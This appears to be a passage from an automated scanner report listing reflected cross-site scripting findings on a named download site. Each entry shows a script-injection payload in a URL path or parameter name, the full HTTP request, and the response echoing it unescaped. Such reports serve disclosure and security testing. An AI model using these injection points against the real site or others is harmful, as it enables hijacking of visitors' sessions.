The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2500"><script>alert(1)</script>7d8844f103c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.htmlb2500"><script>alert(1)</script>7d8844f103c HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:42 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2247%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81971
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.htmlb2500"><script>alert(1)</script>7d8844f103c" /> ...[SNIP]...
4.1670. http://www.x64bitdownload.com/categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d7af"><script>alert(1)</script>b1ff1afa51b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html?3d7af"><script>alert(1)</script>b1ff1afa51b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:28:51 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:03 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A4%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%223%22%3Bs%3A14%3A%22subcategory_id%22%3Bs%3A2%3A%2247%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81974
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-communications-web-video-cams-downloads-3-47-0-d.html?3d7af"><script>alert(1)</script>b1ff1afa51b=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25cff"><script>alert(1)</script>55fd3605a8f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories25cff"><script>alert(1)</script>55fd3605a8f/free-64-bit-desktop-downloads-4-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:41 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21326
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories25cff"><script>alert(1)</script>55fd3605a8f/free-64-bit-desktop-downloads-4-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7de5"><script>alert(1)</script>3c381f515e3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-desktop-downloads-4-0-d.htmld7de5"><script>alert(1)</script>3c381f515e3 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:58 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%224%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-desktop-downloads-4-0-d.htmld7de5"><script>alert(1)</script>3c381f515e3" /> ...[SNIP]...
4.1673. http://www.x64bitdownload.com/categories/free-64-bit-desktop-downloads-4-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3aea"><script>alert(1)</script>baafb6db136 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-desktop-downloads-4-0-d.html?b3aea"><script>alert(1)</script>baafb6db136=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%224%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 76700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-desktop-downloads-4-0-d.html?b3aea"><script>alert(1)</script>baafb6db136=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ec4b"><script>alert(1)</script>598f0083468 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories2ec4b"><script>alert(1)</script>598f0083468/free-64-bit-development-downloads-5-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:33:08 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21330
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories2ec4b"><script>alert(1)</script>598f0083468/free-64-bit-development-downloads-5-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b81e"><script>alert(1)</script>bcc56172be7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-development-downloads-5-0-d.html5b81e"><script>alert(1)</script>bcc56172be7 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:34:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:44:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%225%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-development-downloads-5-0-d.html5b81e"><script>alert(1)</script>bcc56172be7" /> ...[SNIP]...
4.1676. http://www.x64bitdownload.com/categories/free-64-bit-development-downloads-5-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7654"><script>alert(1)</script>5fed9989261 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-development-downloads-5-0-d.html?d7654"><script>alert(1)</script>5fed9989261=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:47 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:39:53 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%225%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 77338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-development-downloads-5-0-d.html?d7654"><script>alert(1)</script>5fed9989261=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d364"><script>alert(1)</script>136359d2933 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories1d364"><script>alert(1)</script>136359d2933/free-64-bit-education-downloads-6-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:32:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21328
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories1d364"><script>alert(1)</script>136359d2933/free-64-bit-education-downloads-6-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8f59"><script>alert(1)</script>ff671245bd6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-education-downloads-6-0-d.htmlf8f59"><script>alert(1)</script>ff671245bd6 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%226%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 74597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-education-downloads-6-0-d.htmlf8f59"><script>alert(1)</script>ff671245bd6" /> ...[SNIP]...
4.1679. http://www.x64bitdownload.com/categories/free-64-bit-education-downloads-6-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4bca"><script>alert(1)</script>6ff9196ddc8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-education-downloads-6-0-d.html?b4bca"><script>alert(1)</script>6ff9196ddc8=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:30:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%226%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 74600
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-education-downloads-6-0-d.html?b4bca"><script>alert(1)</script>6ff9196ddc8=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d9ce"><script>alert(1)</script>2ed7bbf475d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories8d9ce"><script>alert(1)</script>2ed7bbf475d/free-64-bit-games-entertainment-downloads-7-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:34:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21338
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories8d9ce"><script>alert(1)</script>2ed7bbf475d/free-64-bit-games-entertainment-downloads-7-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3e40"><script>alert(1)</script>ceaef40d2d6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-games-entertainment-downloads-7-0-d.htmle3e40"><script>alert(1)</script>ceaef40d2d6 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:35 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%227%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86760
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-games-entertainment-downloads-7-0-d.htmle3e40"><script>alert(1)</script>ceaef40d2d6" /> ...[SNIP]...
4.1682. http://www.x64bitdownload.com/categories/free-64-bit-games-entertainment-downloads-7-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a05c7"><script>alert(1)</script>0644b46147f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-games-entertainment-downloads-7-0-d.html?a05c7"><script>alert(1)</script>0644b46147f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:29:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:40:28 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%227%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-games-entertainment-downloads-7-0-d.html?a05c7"><script>alert(1)</script>0644b46147f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17d7f"><script>alert(1)</script>2644ecf6c0e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories17d7f"><script>alert(1)</script>2644ecf6c0e/free-64-bit-graphic-apps-downloads-8-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:35:33 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21331
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categories17d7f"><script>alert(1)</script>2644ecf6c0e/free-64-bit-graphic-apps-downloads-8-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a94a6"><script>alert(1)</script>4f8ac4abfac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-graphic-apps-downloads-8-0-d.htmla94a6"><script>alert(1)</script>4f8ac4abfac HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:23 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%228%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81070
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-graphic-apps-downloads-8-0-d.htmla94a6"><script>alert(1)</script>4f8ac4abfac" /> ...[SNIP]...
4.1685. http://www.x64bitdownload.com/categories/free-64-bit-graphic-apps-downloads-8-0-d.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c898"><script>alert(1)</script>5c39625c5a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-graphic-apps-downloads-8-0-d.html?6c898"><script>alert(1)</script>5c39625c5a2=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:31:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:41:47 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%228%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81073
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/categories/free-64-bit-graphic-apps-downloads-8-0-d.html?6c898"><script>alert(1)</script>5c39625c5a2=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfe96"><script>alert(1)</script>9b581e63618 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categoriesbfe96"><script>alert(1)</script>9b581e63618/free-64-bit-home-hobby-downloads-9-0-d.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:36:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21329
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/categoriesbfe96"><script>alert(1)</script>9b581e63618/free-64-bit-home-hobby-downloads-9-0-d.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb1e1"><script>alert(1)</script>16ffae90b65 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /categories/free-64-bit-home-hobby-downloads-9-0-d.htmlbb1e1"><script>alert(1)</script>16ffae90b65 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:01 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:13 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A3%3A%7Bs%3A11%3A%22category_id%22%3Bs%3A1%3A%229%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22d%22%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90207
